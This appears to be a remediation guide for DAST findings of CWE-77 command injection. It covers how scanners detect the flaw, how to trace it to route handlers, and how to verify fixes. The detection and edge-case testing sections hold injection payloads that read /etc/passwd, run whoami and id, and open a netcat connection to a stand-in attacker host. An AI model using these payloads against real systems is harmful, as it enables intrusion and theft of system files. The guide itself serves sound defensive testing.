Skip to content

CWE-77: Command Injection (Improper Neutralization)

Overview

This guidance helps you interpret and remediate findings from DAST (Dynamic Application Security Testing) tools. The scanner detected that the application accepted user input containing shell metacharacters in parameters used to construct operating system commands, allowing command injection through improper neutralization. DAST tools identify this by:

Detection Methods:

  • Injecting command separators: semicolon (;), pipe (|), ampersand (&), double ampersand (&&), double pipe (||)
  • Testing command substitution: backticks (`whoami`), dollar-parenthesis ($(id), $(cat /etc/passwd))
  • Submitting newline injection: URL-encoded newlines (%0a, %0d) to chain commands
  • Testing background execution: trailing ampersands (command &) to run processes asynchronously
  • Time-based detection: injecting sleep 10 or ping -n 10 127.0.0.1 and measuring response delays
  • Out-of-band detection: injecting DNS lookups (nslookup attacker.com) or HTTP callbacks monitored by scanner

HTTP Evidence:

  • Response bodies containing command output (username from whoami, file content from cat)
  • Error messages revealing shell execution ("sh: command not found", "bash: syntax error")
  • Response timing delays indicating successful sleep or ping injection
  • DNS queries to scanner-controlled domains (detected by Burp Collaborator, ZAP callback service)
  • Different HTTP status codes when valid vs. invalid commands are injected
  • Stack traces showing process execution functions (subprocess, exec, Runtime.exec)

Scanner Behavior: OWASP ZAP (Command Injection rules 90020, 90018) and PortSwigger Burp Suite systematically test command metacharacters across parameters. They inject time-delay payloads first (blind detection), then direct output extraction. Advanced detection uses Collaborator for out-of-band verification when responses don't reveal execution directly.

Analyzing the Dynamic Scan Result

What the DAST Scanner Found

When reviewing your security scan results, you'll see:

HTTP Request Details

  • URL and endpoint that triggered the finding
  • HTTP method (GET, POST, etc.)
  • Query parameters or form data with test payloads
  • Request headers and body content

HTTP Response Evidence

  • Response showing the vulnerability manifestation
  • Evidence of improper handling or injection
  • Runtime behavior indicators

Attack Vector

  • Which parameter or input is vulnerable
  • Type of exploitation possible
  • Context where the vulnerability appears

Mapping DAST Findings to Source Code

Find the Vulnerable Endpoint

Use the HTTP request URL to locate the code:

# Search for the URL path in your codebase
grep -r "/ping" src/
grep -r "/dns" src/
grep -r "/network" src/
grep -r "/tools" src/
grep -r "route.*ping" src/

Locate the Route Handler

Common patterns to search for:

  • Python Flask/Django: @app.route('/ping'), path('tools/', ...)
  • Node.js Express: app.get('/ping', ...), router.get('/dns', ...)
  • Java Spring: @GetMapping("/ping"), @RequestMapping("/network")
  • ASP.NET: [Route("ping")], [HttpGet("dns")]
  • PHP: $_GET['host'], $_GET['ip']

Find the Parameter Handling

Search for the vulnerable parameter name:

# Find where the parameter is accessed
grep -r "request.args.get('host')" src/      # Python Flask
grep -r "req.query.host" src/                # Node.js
grep -r "@RequestParam.*host" src/           # Java Spring
grep -r "Request.QueryString['ip']" src/     # ASP.NET
grep -r "$_GET['host']" src/                 # PHP

Trace to Vulnerable Operation

Look for where the parameter is used in:

  • Network utilities: ping, nslookup, dig, traceroute, nmap
  • System commands: Any shell execution with user input
  • Process invocation: Runtime.exec(), subprocess, child_process.exec()
  • Shell interpolation: Commands built with string concatenation
  • Script execution: Passing parameters to shell scripts

Remediation

Core principle: Never allow untrusted input to influence shell command structure; avoid shell execution entirely and use parameterized process APIs where input stays a single argument.

→ For comprehensive remediation guidance, see Static CWE-77 Guidance

Language-Specific Guidance

The static guidance provides detailed remediation steps for many languages. If you need language-specific examples:

Verification and Follow-Up Testing

After applying the fix:

Reproduce the Vulnerability

# Use curl to test command injection
curl "http://localhost:3000/ping?host=8.8.8.8; whoami"
curl "http://localhost:3000/dns?domain=example.com|cat /etc/passwd"

# Or use browser DevTools Network tab to copy as cURL

Verify the Fix

  • Confirm proper use of parameterized execution (no shell)
  • Verify no shell is invoked and inputs are allowlist-validated for the expected format (e.g., IP/hostname)
  • Check allowlist validation for expected input patterns
  • Ensure error messages don't leak system information

Test Edge Cases

# Command chaining
/ping?host=8.8.8.8; ls -la
/ping?host=8.8.8.8 && cat /etc/passwd
/ping?host=8.8.8.8 | whoami

# Command substitution
/ping?host=$(cat /etc/passwd)
/ping?host=`id`

# Newline injection
/ping?host=8.8.8.8%0Als%20-la

# Ampersand for background
/ping?host=8.8.8.8 & nc attacker.com 4444 &

# Or use browser DevTools Network tab to copy as cURL

Re-run DAST Scanner

Run your dynamic scanner again on the fixed endpoint to confirm remediation.

Additional Resources